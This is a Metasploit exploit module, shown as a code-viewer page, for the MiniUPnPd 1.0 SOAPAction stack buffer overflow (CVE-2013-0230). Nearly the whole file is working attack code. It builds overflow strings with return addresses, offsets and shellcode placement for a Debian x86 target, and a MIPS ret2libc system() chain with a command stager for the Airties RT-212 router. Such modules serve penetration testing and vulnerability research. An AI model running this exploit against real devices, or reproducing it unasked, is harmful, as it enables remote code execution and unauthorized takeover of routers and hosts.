Path: blob/master/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6include Msf::Exploit::Remote::HttpClient7include Msf::Exploit::CmdStager89Rank = NormalRanking1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',16'Description' => %q{17This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability18present in the SOAPAction HTTP header handling.19},20'Author' => [21'hdm', # Vulnerability discovery22'Dejan Lukan', # Metasploit module, debian target23'Onur ALANBEL', # Exploit for Airties target24'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target25],26'License' => MSF_LICENSE,27'DefaultOptions' => { 'EXITFUNC' => 'process' },28'Platform' => 'linux',29'Arch' => [ARCH_X86, ARCH_MIPSBE],30'References' => [31[ 'CVE', '2013-0230' ],32[ 'OSVDB', '89624' ],33[ 'BID', '57608' ],34[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']35],36'Payload' => {37'DisableNops' => true38},39'Targets' => [40[41'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',42{43'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd44'Offset' => 2123,45'Arch' => ARCH_X86,46# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the47# input, which is why it can't be part of the shellcode (otherwise the vulnerable part48# of the program is never reached)49'Payload' =>50{51'Space' => 2060,52'BadChars' => "\x00\x22"53},54:callback => :target_debian55}56],57[58'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',59{60'Offset' => 2048,61'LibcBase' => 0x2aabd000,62'System' => 0x00031AC0,63'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s064'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',65'Arch' => ARCH_MIPSBE,66:callback => :target_airties67}68]69],70'DefaultTarget' => 0,71'Privileged' => false,72'DisclosureDate' => '2013-03-27',73'Notes' => {74'Stability' => [CRASH_SAFE],75'SideEffects' => [ARTIFACTS_ON_DISK],76'Reliability' => []77}78)79)8081register_options([82Opt::RPORT(5555),83])8485deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')86end8788def check89begin90res = send_request_cgi({91'method' => 'POST',92'uri' => '/'93})94rescue ::Rex::ConnectionError95return Exploit::CheckCode::Safe96end9798fingerprints = targets.collect { |t| t['Fingerprint'] }99fingerprints.delete(nil)100101if res && fingerprints.include?(res.headers['Server'])102vprint_status("Fingerprint: #{res.headers['Server']}")103return Exploit::CheckCode::Detected104end105106Exploit::CheckCode::Unknown107end108109def exploit110unless respond_to?(target[:callback])111fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')112end113114send(target[:callback])115end116117def target_debian118#119# Build the SOAP Exploit120#121# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)122sploit = "\xeb\x2d"123124# a valid action125sploit += 'n:schemas-upnp-org:service:WANIPConnection:1#'126127# payload128sploit += payload.encoded129130# nops131sploit += rand_text(target['Offset'] - sploit.length - 16)132133# overwrite registers on stack: the values are not used, so we can overwrite them with anything134sploit += rand_text(4) # overwrite EBX135sploit += rand_text(4) # overwrite ESI136sploit += rand_text(4) # overwrite EDI137sploit += rand_text(4) # overwrite EBP138139# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the140# stack points directly to the string after 'Soapaction: ', which is why we must141# throw the first value on the stack away, which we're doing with the pop ebp142# instruction. Then we're returning to the next value on the stack, which is143# exactly the address that we want.144sploit += [target.ret].pack('V')145146# the ending " character is necessary for the vulnerability to be reached147sploit += '"'148149# data sent in the POST body150data =151"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" \152"<SOAP-ENV:Envelope\r\n" \153" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \154" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \155" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" \156">\r\n" \157"<SOAP-ENV:Body>\r\n" \158"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" \159"</ns1:action>\r\n" \160"</SOAP-ENV:Body>\r\n" \161"</SOAP-ENV:Envelope>\r\n"162163#164# Build and send the HTTP request165#166print_status("Sending exploit to victim #{target.name}...")167send_request_cgi({168'method' => 'POST',169'uri' => '/',170'headers' => {171'SOAPAction' => sploit172},173'data' => data174})175176# disconnect from the server177disconnect178end179180def target_airties181print_status("Sending exploit to victim #{target.name}...")182execute_cmdstager(183flavor: :echo184)185end186187def execute_command(cmd, _opts)188# Build the SOAP Exploit189# a valid action190sploit = 'n:schemas-upnp-org:service:WANIPConnection:1#'191sploit << rand_text_alpha_upper(target['Offset'])192sploit << [target['LibcBase'] + target['System']].pack('N') # s0 - address of system193sploit << rand_text_alpha_upper(24) # $s1 - $s6194sploit << [target['LibcBase'] + target['CallSystem']].pack('N')195# 0001CC94 addiu $a0, $sp, 0x18196# 0001CC98 move $t9, $s0197# 0001CC9C jalr $t9198# 0001CCA0 li $a1, 1199200sploit << rand_text_alpha_upper(24) # filler201sploit << cmd202203# data sent in the POST body204data =205"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" \206"<SOAP-ENV:Envelope\r\n" \207" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \208" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \209" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" \210">\r\n" \211"<SOAP-ENV:Body>\r\n" \212"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" \213"</ns1:action>\r\n" \214"</SOAP-ENV:Body>\r\n" \215"</SOAP-ENV:Envelope>\r\n"216217send_request_cgi({218'method' => 'POST',219'uri' => '/',220'headers' =>221{222'SOAPAction' => sploit223},224'data' => data225})226end227end228229230